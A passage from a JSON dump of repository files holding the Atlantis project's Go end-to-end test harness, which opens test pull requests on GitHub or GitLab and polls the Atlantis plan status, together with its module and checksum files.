    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"time\"\n)\n\ntype E2ETester struct {\n\tvcsClient    VCSClient\n\thookID       int64\n\tcloneDirRoot string\n\tprojectType  Project\n}\n\ntype E2EResult struct {\n\tprojectType    string\n\tpullRequestURL string\n\ttestResult     string\n}\n\nvar testFileData = `\nresource \"null_resource\" \"hello\" {\n}\n`\n\n// nolint: gosec\nfunc (t *E2ETester) Start(ctx context.Context) (*E2EResult, error) {\n\tcloneDir := fmt.Sprintf(\"%s/%s-test\", t.cloneDirRoot, t.projectType.Name)\n\tbranchName := fmt.Sprintf(\"%s-%s\", t.projectType.Name, time.Now().Format(\"20060102150405\"))\n\ttestFileName := fmt.Sprintf(\"%s.tf\", t.projectType.Name)\n\te2eResult := &E2EResult{}\n\te2eResult.projectType = t.projectType.Name\n\n\t// create the directory and parents if necessary\n\tlog.Printf(\"creating dir %q\", cloneDir)\n\tif err := os.MkdirAll(cloneDir, 0700); err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"failed to create dir %q prior to cloning, attempting to continue: %v\", cloneDir, err)\n\t}\n\n\terr := t.vcsClient.Clone(cloneDir)\n\tif err != nil {\n\t\treturn e2eResult, err\n\t}\n\n\t// checkout a new branch for the project\n\tlog.Printf(\"checking out branch %q\", branchName)\n\tcheckoutCmd := exec.Command(\"git\", \"checkout\", \"-b\", branchName)\n\tcheckoutCmd.Dir = cloneDir\n\tif output, err := checkoutCmd.CombinedOutput(); err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"failed to git checkout branch %q: %v: %s\", branchName, err, string(output))\n\t}\n\n\t// write a file for running the tests\n\trandomData := []byte(testFileData)\n\tfilePath := fmt.Sprintf(\"%s/%s/%s\", cloneDir, t.projectType.Name, testFileName)\n\tlog.Printf(\"creating file to commit %q\", filePath)\n\terr = os.WriteFile(filePath, randomData, 0644)\n\tif err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"couldn't write file %s: %v\", filePath, err)\n\t}\n\n\t// add the file\n\tlog.Printf(\"git add file %q\", filePath)\n\taddCmd := exec.Command(\"git\", \"add\", filePath)\n\taddCmd.Dir = cloneDir\n\tif output, err := addCmd.CombinedOutput(); err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"failed to git add file %q: %v: %s\", filePath, err, string(output))\n\t}\n\n\t// commit the file\n\tlog.Printf(\"git commit file %q\", filePath)\n\tcommitCmd := exec.Command(\"git\", \"commit\", \"-am\", \"test commit\")\n\tcommitCmd.Dir = cloneDir\n\tif output, err := commitCmd.CombinedOutput(); err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"failed to run git commit in %q: %v: %v\", cloneDir, err, string(output))\n\t}\n\n\t// push the branch to remote\n\tlog.Printf(\"git push branch %q\", branchName)\n\tpushCmd := exec.Command(\"git\", \"push\", \"origin\", branchName)\n\tpushCmd.Dir = cloneDir\n\tif output, err := pushCmd.CombinedOutput(); err != nil {\n\t\treturn e2eResult, fmt.Errorf(\"failed to git push branch %q: %v: %s\", branchName, err, string(output))\n\t}\n\n\t// create a new pr\n\ttitle := fmt.Sprintf(\"This is a test pull request for atlantis e2e test for %s project type\", t.projectType.Name)\n\turl, pullId, err := t.vcsClient.CreatePullRequest(ctx, title, branchName)\n\n\tif err != nil {\n\t\treturn e2eResult, err\n\t}\n\n\t// set pull request url\n\te2eResult.pullRequestURL = url\n\n\tlog.Printf(\"created pull request %s\", url)\n\n\t// defer closing pull request and delete remote branch\n\tdefer func() {\n\t\terr := cleanUp(ctx, t, pullId, branchName)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Failed to cleanup: %v\", err)\n\t\t}\n\t}()\n\n\t// wait for atlantis to respond to webhook and autoplan.\n\ttime.Sleep(2 * time.Second)\n\n\tstate := \"not started\"\n\t// waiting for atlantis run and finish\n\tmaxLoops := 20\n\ti := 0\n\tfor ; i < maxLoops && t.vcsClient.IsAtlantisInProgress(state); i++ {\n\t\ttime.Sleep(2 * time.Second)\n\t\tstate, _ = t.vcsClient.GetAtlantisStatus(ctx, branchName)\n\t\tif state == \"\" {\n\t\t\tlog.Println(\"atlantis run hasn't started\")\n\t\t\tcontinue\n\t\t}\n\t\tlog.Printf(\"atlantis run is in %s state\", state)\n\t}\n\tif i == maxLoops {\n\t\tstate = \"timed out\"\n\t}\n\n\tlog.Printf(\"atlantis run finished with status %q\", state)\n\te2eResult.testResult = state\n\t// check if atlantis run was a success\n\tif !t.vcsClient.DidAtlantisSucceed(state) {\n\t\treturn e2eResult, fmt.Errorf(\"atlantis run project type %q failed with %q status\", t.projectType.Name, state)\n\t}\n\n\treturn e2eResult, nil\n}\n\nfunc cleanUp(ctx context.Context, t *E2ETester, pullRequestNumber int, branchName string) error {\n\t// clean up\n\terr := t.vcsClient.ClosePullRequest(ctx, pullRequestNumber)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"closed pull request %d\", pullRequestNumber)\n\n\terr = t.vcsClient.DeleteBranch(ctx, branchName)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while deleting branch %s: %v\", branchName, err)\n\t}\n\tlog.Printf(\"deleted branch %s\", branchName)\n\n\treturn nil\n}\n"
  },
  {
    "path": "e2e/github.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"github.com/google/go-github/v83/github\"\n)\n\ntype GithubClient struct {\n\tclient    *github.Client\n\tusername  string\n\townerName string\n\trepoName  string\n\ttoken     string\n}\n\nfunc NewGithubClient() *GithubClient {\n\n\tgithubUsername := os.Getenv(\"ATLANTIS_GH_USER\")\n\tif githubUsername == \"\" {\n\t\tlog.Fatalf(\"ATLANTIS_GH_USER cannot be empty\")\n\t}\n\tgithubToken := os.Getenv(\"ATLANTIS_GH_TOKEN\")\n\tif githubToken == \"\" {\n\t\tlog.Fatalf(\"ATLANTIS_GH_TOKEN cannot be empty\")\n\t}\n\townerName := os.Getenv(\"GITHUB_REPO_OWNER_NAME\")\n\tif ownerName == \"\" {\n\t\townerName = \"runatlantis\"\n\t}\n\trepoName := os.Getenv(\"GITHUB_REPO_NAME\")\n\tif repoName == \"\" {\n\t\trepoName = \"atlantis-tests\"\n\t}\n\n\t// create github client\n\ttp := github.BasicAuthTransport{\n\t\tUsername: strings.TrimSpace(githubUsername),\n\t\tPassword: strings.TrimSpace(githubToken),\n\t}\n\tghClient := github.NewClient(tp.Client())\n\n\treturn &GithubClient{\n\t\tclient:    ghClient,\n\t\tusername:  githubUsername,\n\t\townerName: ownerName,\n\t\trepoName:  repoName,\n\t\ttoken:     githubToken,\n\t}\n\n}\n\nfunc (g GithubClient) Clone(cloneDir string) error {\n\n\trepoURL := fmt.Sprintf(\"https://%s:%s@github.com/%s/%s.git\", g.username, g.token, g.ownerName, g.repoName)\n\tcloneCmd := exec.Command(\"git\", \"clone\", repoURL, cloneDir)\n\t// git clone the repo\n\tlog.Printf(\"git cloning into %q\", cloneDir)\n\tif output, err := cloneCmd.CombinedOutput(); err != nil {\n\t\treturn fmt.Errorf(\"failed to clone repository: %v: %s\", err, string(output))\n\t}\n\treturn nil\n}\n\nfunc (g GithubClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) {\n\tcontentType := \"json\"\n\thookConfig := &github.HookConfig{\n\t\tContentType: &contentType,\n\t\tURL:         &hookURL,\n\t}\n\t// create atlantis hook\n\tatlantisHook := &github.Hook{\n\t\tEvents: []string{\"issue_comment\", \"pull_request\", \"push\"},\n\t\tConfig: hookConfig,\n\t\tActive: github.Ptr(true),\n\t}\n\n\thook, _, err := g.client.Repositories.CreateHook(ctx, g.ownerName, g.repoName, atlantisHook)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tlog.Println(hook.GetURL())\n\n\treturn hook.GetID(), nil\n}\n\nfunc (g GithubClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error {\n\t_, err := g.client.Repositories.DeleteHook(ctx, g.ownerName, g.repoName, hookID)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"deleted webhook id %d\", hookID)\n\n\treturn nil\n}\n\nfunc (g GithubClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) {\n\thead := fmt.Sprintf(\"%s:%s\", g.ownerName, branchName)\n\tbody := \"\"\n\tbase := \"main\"\n\tnewPullRequest := &github.NewPullRequest{Title: &title, Head: &head, Body: &body, Base: &base}\n\n\tpull, _, err := g.client.PullRequests.Create(ctx, g.ownerName, g.repoName, newPullRequest)\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"error while creating new pull request: %v\", err)\n\t}\n\n\t// set pull request url\n\treturn pull.GetHTMLURL(), pull.GetNumber(), nil\n\n}\n\nfunc (g GithubClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) {\n\t// check repo status\n\tcombinedStatus, _, err := g.client.Repositories.GetCombinedStatus(ctx, g.ownerName, g.repoName, branchName, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tfor _, status := range combinedStatus.Statuses {\n\t\tif status.GetContext() == \"atlantis/plan\" {\n\t\t\treturn status.GetState(), nil\n\t\t}\n\t}\n\n\treturn \"\", nil\n}\n\nfunc (g GithubClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error {\n\t// clean up\n\t_, _, err := g.client.PullRequests.Edit(ctx, g.ownerName, g.repoName, pullRequestNumber, &github.PullRequest{State: github.Ptr(\"closed\")})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while closing new pull request: %v\", err)\n\t}\n\treturn nil\n\n}\nfunc (g GithubClient) DeleteBranch(ctx context.Context, branchName string) error {\n\n\tdeleteBranchName := fmt.Sprintf(\"%s/%s\", \"heads\", branchName)\n\t_, err := g.client.Git.DeleteRef(ctx, g.ownerName, g.repoName, deleteBranchName)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while deleting branch %s: %v\", branchName, err)\n\t}\n\treturn nil\n}\n\nfunc (g GithubClient) IsAtlantisInProgress(state string) bool {\n\tfor _, s := range []string{\"success\", \"error\", \"failure\"} {\n\t\tif state == s {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (g GithubClient) DidAtlantisSucceed(state string) bool {\n\treturn state == \"success\"\n}\n"
  },
  {
    "path": "e2e/gitlab.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"os/exec\"\n\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n)\n\ntype GitlabClient struct {\n\tclient    *gitlab.Client\n\tusername  string\n\townerName string\n\trepoName  string\n\ttoken     string\n\tprojectId int\n\t// A mapping from branch names to MR IDs\n\tbranchToMR map[string]int\n}\n\nfunc NewGitlabClient() *GitlabClient {\n\n\tgitlabUsername := os.Getenv(\"ATLANTIS_GITLAB_USER\")\n\tif gitlabUsername == \"\" {\n\t\tlog.Fatalf(\"ATLANTIS_GITLAB_USER cannot be empty\")\n\t}\n\tgitlabToken := os.Getenv(\"ATLANTIS_GITLAB_TOKEN\")\n\tif gitlabToken == \"\" {\n\t\tlog.Fatalf(\"ATLANTIS_GITLAB_TOKEN cannot be empty\")\n\t}\n\townerName := os.Getenv(\"GITLAB_REPO_OWNER_NAME\")\n\tif ownerName == \"\" {\n\t\townerName = \"runatlantis\"\n\t}\n\trepoName := os.Getenv(\"GITLAB_REPO_NAME\")\n\tif repoName == \"\" {\n\t\trepoName = \"atlantis-tests\"\n\t}\n\n\tgitlabClient, err := gitlab.NewClient(gitlabToken)\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to create client: %v\", err)\n\t}\n\tproject, _, err := gitlabClient.Projects.GetProject(fmt.Sprintf(\"%s/%s\", ownerName, repoName), &gitlab.GetProjectOptions{})\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to find project: %v\", err)\n\t}\n\n\treturn &GitlabClient{\n\t\tclient:     gitlabClient,\n\t\tusername:   gitlabUsername,\n\t\townerName:  ownerName,\n\t\trepoName:   repoName,\n\t\ttoken:      gitlabToken,\n\t\tprojectId:  project.ID,\n\t\tbranchToMR: make(map[string]int),\n\t}\n\n}\n\nfunc (g GitlabClient) Clone(cloneDir string) error {\n\n\trepoURL := fmt.Sprintf(\"https://%s:%s@gitlab.com/%s/%s.git\", g.username, g.token, g.ownerName, g.repoName)\n\tcloneCmd := exec.Command(\"git\", \"clone\", repoURL, cloneDir)\n\t// git clone the repo\n\tlog.Printf(\"git cloning into %q\", cloneDir)\n\tif output, err := cloneCmd.CombinedOutput(); err != nil {\n\t\treturn fmt.Errorf(\"failed to clone repository: %v: %s\", err, string(output))\n\t}\n\treturn nil\n\n}\n\nfunc (g GitlabClient) CreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error) {\n\thook, _, err := g.client.Projects.AddProjectHook(g.projectId, &gitlab.AddProjectHookOptions{\n\t\tURL:                 &hookURL,\n\t\tIssuesEvents:        gitlab.Ptr(true),\n\t\tMergeRequestsEvents: gitlab.Ptr(true),\n\t\tPushEvents:          gitlab.Ptr(true),\n\t})\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tlog.Printf(\"created webhook for %s\", hook.URL)\n\treturn int64(hook.ID), err\n}\n\nfunc (g GitlabClient) DeleteAtlantisHook(ctx context.Context, hookID int64) error {\n\t_, err := g.client.Projects.DeleteProjectHook(g.projectId, int(hookID))\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Printf(\"deleted webhook id %d\", hookID)\n\treturn nil\n}\n\nfunc (g GitlabClient) CreatePullRequest(ctx context.Context, title, branchName string) (string, int, error) {\n\n\tmr, _, err := g.client.MergeRequests.CreateMergeRequest(g.projectId, &gitlab.CreateMergeRequestOptions{\n\t\tTitle:        gitlab.Ptr(title),\n\t\tSourceBranch: gitlab.Ptr(branchName),\n\t\tTargetBranch: gitlab.Ptr(\"main\"),\n\t})\n\tif err != nil {\n\t\treturn \"\", 0, fmt.Errorf(\"error while creating new pull request: %v\", err)\n\t}\n\tg.branchToMR[branchName] = mr.IID\n\treturn mr.WebURL, mr.IID, nil\n\n}\n\nfunc (g GitlabClient) GetAtlantisStatus(ctx context.Context, branchName string) (string, error) {\n\n\tpipelineInfos, _, err := g.client.MergeRequests.ListMergeRequestPipelines(g.projectId, g.branchToMR[branchName])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// Possible todo: determine which status in the pipeline we care about?\n\tif len(pipelineInfos) != 1 {\n\t\treturn \"\", fmt.Errorf(\"unexpected pipelines: %d\", len(pipelineInfos))\n\t}\n\tpipelineInfo := pipelineInfos[0]\n\tpipeline, _, err := g.client.Pipelines.GetPipeline(g.projectId, pipelineInfo.ID)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn pipeline.Status, nil\n}\n\nfunc (g GitlabClient) ClosePullRequest(ctx context.Context, pullRequestNumber int) error {\n\t// clean up\n\t_, _, err := g.client.MergeRequests.UpdateMergeRequest(g.projectId, pullRequestNumber, &gitlab.UpdateMergeRequestOptions{\n\t\tStateEvent: gitlab.Ptr(\"close\"),\n\t})\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while closing new pull request: %v\", err)\n\t}\n\treturn nil\n\n}\nfunc (g GitlabClient) DeleteBranch(ctx context.Context, branchName string) error {\n\t_, err := g.client.Branches.DeleteBranch(g.projectId, branchName)\n\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error while deleting branch %s: %v\", branchName, err)\n\t}\n\treturn nil\n\n}\n\nfunc (g GitlabClient) IsAtlantisInProgress(state string) bool {\n\t// From https://docs.gitlab.com/api/pipelines/\n\t// created, waiting_for_resource, preparing, pending, running, success, failed, canceled, skipped, manual, scheduled\n\tfor _, s := range []string{\"success\", \"failed\", \"canceled\", \"skipped\"} {\n\t\tif state == s {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n\nfunc (g GitlabClient) DidAtlantisSucceed(state string) bool {\n\treturn state == \"success\"\n}\n"
  },
  {
    "path": "e2e/go.mod",
    "content": "module github.com/runatlantis/atlantis/e2e\n\ngo 1.25.4\n\nrequire (\n\tgithub.com/google/go-github/v83 v83.0.0\n\tgithub.com/hashicorp/go-multierror v1.1.1\n\tgitlab.com/gitlab-org/api/client-go v0.118.0\n)\n\nrequire (\n\tgithub.com/google/go-querystring v1.2.0 // indirect\n\tgithub.com/hashicorp/errwrap v1.1.0 // indirect\n\tgithub.com/hashicorp/go-cleanhttp v0.5.2 // indirect\n\tgithub.com/hashicorp/go-retryablehttp v0.7.7 // indirect\n\tgolang.org/x/oauth2 v0.27.0 // indirect\n\tgolang.org/x/sys v0.28.0 // indirect\n\tgolang.org/x/time v0.3.0 // indirect\n)\n"
  },
  {
    "path": "e2e/go.sum",
    "content": "github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fatih/color v1.16.0 h1:zmkK9Ngbjj+K0yRhTVONQh1p/HknKYSlNT+vZCzyokM=\ngithub.com/fatih/color v1.16.0/go.mod h1:fL2Sau1YI5c0pdGEVCbKQbLXB6edEj1ZgiY4NijnWvE=\ngithub.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=\ngithub.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=\ngithub.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=\ngithub.com/google/go-github/v83 v83.0.0 h1:Ydy4gAfqxrnFUwXAuKl/OMhhGa0KtMtnJ3EozIIuHT0=\ngithub.com/google/go-github/v83 v83.0.0/go.mod h1:gbqarhK37mpSu8Xy7sz21ITtznvzouyHSAajSaYCHe8=\ngithub.com/google/go-querystring v1.2.0 h1:yhqkPbu2/OH+V9BfpCVPZkNmUXhb2gBxJArfhIxNtP0=\ngithub.com/google/go-querystring v1.2.0/go.mod h1:8IFJqpSRITyJ8QhQ13bmbeMBDfmeEJZD5A0egEOmkqU=\ngithub.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=\ngithub.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=\ngithub.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ=\ngithub.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=\ngithub.com/hashicorp/go-hclog v1.6.3 h1:Qr2kF+eVWjTiYmU7Y31tYlP1h0q/X3Nl3tPGdaB11/k=\ngithub.com/hashicorp/go-hclog v1.6.3/go.mod h1:W4Qnvbt70Wk/zYJryRzDRU/4r0kIg0PVHBcfoyhpF5M=\ngithub.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=\ngithub.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=\ngithub.com/hashicorp/go-retryablehttp v0.7.7 h1:C8hUCYzor8PIfXHa4UrZkU4VvK8o9ISHxT2Q8+VepXU=\ngithub.com/hashicorp/go-retryablehttp v0.7.7/go.mod h1:pkQpWZeYWskR+D1tR2O5OcBFOxfA7DoAO6xtkuQnHTk=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=\ngithub.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=\ngitlab.com/gitlab-org/api/client-go v0.118.0 h1:qHIEw+XHt+2xuk4iZGW8fc6t+gTLAGEmTA5Bzp/brxs=\ngitlab.com/gitlab-org/api/client-go v0.118.0/go.mod h1:E+X2dndIYDuUfKVP0C3jhkWvTSE00BkLbCsXTY3edDo=\ngolang.org/x/oauth2 v0.27.0 h1:da9Vo7/tDv5RH/7nZDz1eMGS/q1Vv1N/7FCrBhI9I3M=\ngolang.org/x/oauth2 v0.27.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8=\ngolang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=\ngolang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4=\ngolang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "e2e/main.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage main\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"log\"\n\t\"os\"\n\n\t\"fmt\"\n\n\tmultierror \"github.com/hashicorp/go-multierror\"\n)\n\nvar defaultAtlantisURL = \"http://localhost:4141\"\nvar projectTypes = []Project{\n\t{\"standalone\", \"atlantis apply -d standalone\"},\n\t{\"standalone-with-workspace\", \"atlantis apply -d standalone-with-workspace -w staging\"},\n}\n\ntype Project struct {\n\tName         string\n\tApplyCommand string\n}\n\nfunc getVCSClient() (VCSClient, error) {\n\n\tif os.Getenv(\"ATLANTIS_GH_USER\") != \"\" {\n\t\tlog.Print(\"Running tests for github\")\n\t\treturn NewGithubClient(), nil\n\t}\n\tif os.Getenv(\"ATLANTIS_GITLAB_USER\") != \"\" {\n\t\tlog.Print(\"Running tests for gitlab\")\n\t\treturn NewGitlabClient(), nil\n\t}\n\n\treturn nil, errors.New(\"could not determine which vcs client\")\n}\n\nfunc main() {\n\n\tatlantisURL := os.Getenv(\"ATLANTIS_URL\")\n\tif atlantisURL == \"\" {\n\t\tatlantisURL = defaultAtlantisURL\n\t}\n\t// add /events to the url\n\tatlantisURL = fmt.Sprintf(\"%s/events\", atlantisURL)\n\n\tcloneDirRoot := os.Getenv(\"CLONE_DIR\")\n\tif cloneDirRoot == \"\" {\n\t\tcloneDirRoot = \"/tmp/atlantis-tests\"\n\t}\n\n\t// clean workspace\n\tlog.Printf(\"cleaning workspace %s\", cloneDirRoot)\n\terr := cleanDir(cloneDirRoot)\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to clean dir %q before cloning, attempting to continue: %v\", cloneDirRoot, err)\n\t}\n\n\tvcsClient, err := getVCSClient()\n\tif err != nil {\n\t\tlog.Fatalf(\"failed to get vcs client: %v\", err)\n\t}\n\tctx := context.Background()\n\t// we create atlantis hook once for the repo, since the atlantis server can handle multiple requests\n\tlog.Printf(\"creating atlantis webhook with %s url\", atlantisURL)\n\thookID, err := vcsClient.CreateAtlantisWebhook(ctx, atlantisURL)\n\tif err != nil {\n\t\tlog.Fatalf(\"error creating atlantis webhook: %v\", err)\n\t}\n\n\t// create e2e test\n\te2e := E2ETester{\n\t\tvcsClient:    vcsClient,\n\t\thookID:       hookID,\n\t\tcloneDirRoot: cloneDirRoot,\n\t}\n\n\t// start e2e tests\n\tresults, err := startTests(ctx, e2e)\n\tlog.Printf(\"Test Results\\n---------------------------\\n\")\n\tfor _, result := range results {\n\t\tfmt.Printf(\"Project Type: %s \\n\", result.projectType)\n\t\tfmt.Printf(\"Pull Request Link: %s \\n\", result.pullRequestURL)\n\t\tfmt.Printf(\"Atlantis Run Status: %s \\n\", result.testResult)\n\t\tfmt.Println(\"---------------------------\")\n\t}\n\tif err != nil {\n\t\tlog.Fatalf(fmt.Sprintf(\"%s\", err))\n\t}\n\n}\n\nfunc cleanDir(path string) error {\n\treturn os.RemoveAll(path)\n}\n\nfunc startTests(ctx context.Context, e2e E2ETester) ([]*E2EResult, error) {\n\tvar testResults []*E2EResult\n\tvar testErrors *multierror.Error\n\t// delete webhook when we are done running tests\n\tdefer e2e.vcsClient.DeleteAtlantisHook(ctx, e2e.hookID) // nolint: errcheck\n\n\tfor _, projectType := range projectTypes {\n\t\tlog.Printf(\"starting e2e test for project type %q\", projectType.Name)\n\t\te2e.projectType = projectType\n\t\t// start e2e test\n\t\tresult, err := e2e.Start(ctx)\n\t\ttestResults = append(testResults, result)\n\t\ttestErrors = multierror.Append(testErrors, err)\n\t}\n\n\treturn testResults, testErrors.ErrorOrNil()\n}\n"
  },
  {
    "path": "e2e/vcs.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage main\n\nimport \"context\"\n\ntype VCSClient interface {\n\tClone(cloneDir string) error\n\tCreateAtlantisWebhook(ctx context.Context, hookURL string) (int64, error)\n\tDeleteAtlantisHook(ctx context.Context, hookID int64) error\n\tCreatePullRequest(ctx context.Context, title, branchName string) (string, int, error)\n\tGetAtlantisStatus(ctx context.Context, branchName string) (string, error)\n\tClosePullRequest(ctx context.Context, pullRequestNumber int) error\n\tDeleteBranch(ctx context.Context, branchName string) error\n\tIsAtlantisInProgress(state string) bool\n\tDidAtlantisSucceed(state string) bool\n}\n"
  },
  {
    "path": "go.mod",
